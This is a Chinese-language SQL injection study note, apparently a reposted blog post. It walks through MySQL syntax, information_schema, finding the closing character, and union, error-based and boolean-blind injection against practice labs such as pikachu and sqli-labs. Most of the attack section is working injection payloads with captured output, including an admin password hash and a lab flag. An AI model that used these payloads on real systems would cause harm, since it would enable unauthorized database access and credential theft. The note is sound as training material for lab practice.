1、sql注入的基礎知識
1.11、資料庫中的邏輯運算子
或 且 非
or and not
真 且 真 =真
真 且 假 =假
真 或 假 =真
and 比 or 的優先級要高
1.12、mysql相關語法
注釋:
#
-- --空格
/* */
/*! */ 行內查詢
常見函式與引數:


substring(string,position) 從某個位置開始截取字串
substr(string,start,length) 截取字串的一部分
left(str,length) 從左開始截取指定長度的字串
ASCII(str1)
回傳字串str的最左面字符的ASCII代碼值
ORD() 函式
ORD() 函式回傳字串第一個字符的ASCII 值


深度講解:sql陳述句


1.2、資料庫的版本
一般以5.0區分
1、在mysql 5.0以上版本中,
mysql存在一個自帶資料庫名為information_schema,
它是一個存盤記錄所有資料庫名、表名、列名的資料庫
information_schema``````````````sql自帶的元庫
----schemata··············記錄庫名的表
--------schema_name·········庫名
----tables···················記錄表名的表
--------table_schema··········庫名
--------table_name·············表名
----columns················記錄列名的表
--------table_schema··········庫名
--------table_name
--------column_name··········列名
也相當于可以通過查詢它來獲取指定資料庫下面的表名或列名資訊,因此在注入的第一步就是獲取資料庫的版本和庫名
2、而低版本,采取暴力查詢或結合讀取查詢
1.3、資訊收集
資料庫版本 version() 5.7.22-0ubuntu0.16.04.1
資料庫名字 database() mozhe_Discuz_StormGroup
資料庫用戶 user() root@localhost
作業系統 @@version_compile_os
資料庫中符號"."代表下一級,如xiao.user表示xiao資料庫下的user表名
1.4、注入思路
SQL注入思路

御劍掃描網站后臺
思路如下:
1 判斷互動方式 get/post/http head
2 預判資料庫執行陳述句
3 判斷提交資料的閉合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”) 快速判斷閉合方式 and 1=1 和and 1=2
4 構造陳述句打破閉合
5 構造聯合查詢判斷輸出位 通過order by 判斷列數 建議使用二分法
1.5、注入分類
根據注入點的分類

根據注入手法分類

2、注入程序
2.1、SQL 注入點的判斷
?id=34 +1/-1-------頁面有回顯--------聯合查詢(可跨庫、跨表)
猜測代碼:select * from tablename where id=$id
字符型?數字型?
?id=35' ---------報錯有回顯--------報錯注入
報錯:near ' ' ' at line 1-----------左右兩邊的'是報錯陳述句自帶的
說明錯誤代碼多了一個 '
' 前面的代碼正確,說明是數字型
猜測代碼:select * from tablename where id=35'
?id=35 and 1=1 是否有布爾型別的狀態-------布爾盲注
?id=35 and 1=2
猜測代碼:select * from tablename where id=35 and 1=1
猜測代碼:select * from tablename where id=35 and 1=2
?id=35 and sleep(5) 觀察是否有延時顯示-----延時注入
通過瀏覽器F12,網路,時間線即可準確判斷
2.2、確定閉合符
數字型,一般沒有閉合符
字符型,一定有閉合符
常見閉合符:
' 單引號
" 雙引號
( )括號
[ ] 方括號
以上四種均可以自由組合
2.21有報錯回顯的情況
報錯回顯是最簡單的判斷閉合符方法,舉例:
?id=1' 報錯:near ' ' ' at line 1-----------左右兩邊的'是報錯陳述句自帶的
說明錯誤代碼多了一個 ' , ' 前面的代碼正確,說明是數字型,
?id=1' 報錯:near ''1'' LIMIT 0,1' at line 1-----去掉報錯陳述句的兩個單引號后,真正的報錯陳述句:'1'' LIMIT 0,1
由于1'是我們自己輸入的,所以剩下的閉合符:' ' 兩個單引號
因此閉合符為單引號,
進一步確定閉合符:
注釋:?id=1' --+ 回顯正常,說明就是單引號閉合
?id=1' and '1'='1 回顯正常,說明就是單引號閉合
2.22、無報錯回顯,只能猜
1、猜測:where id=$id
id=1 and 1=1 正常
id=1 and 1=2 不正常
2、猜測:where id=’$id’
id=1’ and ‘1’=‘1 正常
id=1’ and ‘1’=‘2 錯誤(這時,可以確定sql陳述句可以正常執行了)
3、猜測:where id="$id"
id=1" and “1”=“1 正常
id=1” and “1”="2 正常
4、猜測:where id=(’$id’)
id=1’) and (‘1’=‘1 正常
id=1’) and (‘1’=‘2 錯誤(這時,可以確定sql陳述句可以正常執行了,排除上面單引號閉合)
5、猜測:where id=((’$id’))
id=1’)) and ((‘1’=‘1 正常
id=1’)) and ((‘1’=‘1 錯誤(這時,可以確定sql陳述句可以正常執行了,排除上面 ') 方式閉合)
6、猜測:where id=(((’$id’)))
id=1’))) and (((‘1’='1 錯誤,并且,這里的錯誤與前面的不一樣,具體看下面的截圖
到這里,單引號加括號的組合就不用再試了,最有可能的就是 ‘))
7、猜測:where id=("$id")
id=1") and (“1”=“1 正常
id=1”) and (“1”="2 正常
到這里已經可以肯定閉合符號就是’))
————————————————
特別注意:
-
在測驗閉合符號的時候,如果sql陳述句能夠執行,閉合符號也不一定正確,在測驗的程序中要注意這種帶括號的閉合符號,避免出錯
-
有括號的時候,不帶括號,或者括號少于真實數量的時候,sql陳述句是可以執行的,但是后面如果要拼接order by、union select這樣子就不行了,
2.3、聯合查詢
union select:聯合查詢的解釋

order by
作用是判斷當前table的欄位數,這是進行union select的必要條件

在這里使用1,2,3,4,5,6,7,,,,,
是因為數字可以自動轉換成字串,所以符合聯合查詢的要求
獲取基礎資料
union select database(),user()
-
database()將會回傳當前網站所使用的資料庫名字.
-
user()將會回傳執行當前查詢的用戶名.
union select version(),@@version_compile_os
-
version() 獲取當前資料庫版本.
-
@@version_compile_os 獲取當前作業系統

獲取表名,欄位(列)名


獲取指定資料

pikachu第二關測驗
SQL injections Less-2 模擬
獲取所有資料庫名
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
回顯 information_schema,challenges,db1,mysql,performance_schema,pikachu,security,sys
獲取指定資料庫名下的表名資訊
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
回顯
httpinfo,member,message,users,xssblind
獲取指定資料庫pikachu下表users的列名資料
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
回顯
id,username,password,level
獲取指定表內的資料
id=-1 union select 1,username,password from pikachu.users
回顯
admin e10adc3949ba59abbe56e057f20f883e
2.4、報錯注入
2.41、 updatexml報錯
首先了解下updatexml()函式
UPDATEXML (XML_document, XPath_string, new_value);
第一個引數:XML_document是String格式,為XML檔案物件的名稱,文中為Doc
第二個引數:XPath_string (Xpath格式的字串),如果不了解Xpath語法,可以在網上查找教程,
第三個引數:new_value,String格式,替換查找到的符合條件的資料
作用:改變檔案中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而我們的注入陳述句為:
updatexml(1,concat(0x7e,database(),0x7e),1) sqli-labs第20關驗證
其中的concat()函式是將其連成一個字串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
id=1' 錯誤 id=1" 正常 id=1' --+正常,說明是單引號字串
?id=-1' and updatexml(1,concat(0x7e,version(),0x7e),1) --+ 回顯版本5.7.26
替換database()得到security
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
回顯 '~emails,referers,uagents,users~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
回顯 '~id,username,password~'
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+
回顯用戶名,因為updatexml()這個函式最多只能爆32位字符,而我們要爆的資料超過了這個位數,所以我們一個一個的查,使用limit 0,1來實作
'~flag{f99c688f101bb53fdbf178a89182e}'
flag{f99c688f101bb53fdbf178ad0889182e}
2.42、extractvalue報錯
?id=1 and extractvalue(1,concat(0x7e,(select user()))) --+
使用方法與updatexml一樣
2.43、floor報錯 即雙查詢注入
?id=1' union Select 1,count(*),concat((select user()),floor(rand(0)*2)) as a from information_schema.columns group by a--+
回顯 'root@localhost1'
-----------------------------
?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
回顯所有資料庫名(最多64字符)
----------------------------------
?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+
回顯第一個表名
--------------------------------
?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+
回顯第一個列名
------------------------------
?id=1' union select count(*),1, concat('~',(select username from users limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+
回顯 第一個用戶名
特別注意:
updatexml和extractvalue爆出來的資料最多只有32位,但是資料庫存的是password的MD5值,有32位,所以說得到的md5是不對的,需要進行兩次注入才能得到完整的密碼,以extractvalue()函式為例:
user=123' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#&password=
user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=
————————————————
2.5、布爾盲注
?id=35 and 1=1 正常
?id=35 and 1=2 例外
說明存在布爾型別的狀態-------布爾盲注
1首先猜長度
?id=35 and length(database())<10 正常說明資料庫名的長度小于10
?id=35 and length(database())<5 錯誤說明長度大于5
?id=35 and length(database())=3 正常說明長度為3
2從第一個字母開始猜
?id=35 and ascii(substr(database(),1,1))>64 判斷第一個字母的ascii是否>68
二分法,極限中的夾逼準則,能夠減少猜測次數
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/327872.html
標籤:其他
上一篇:XSS學習筆記整理
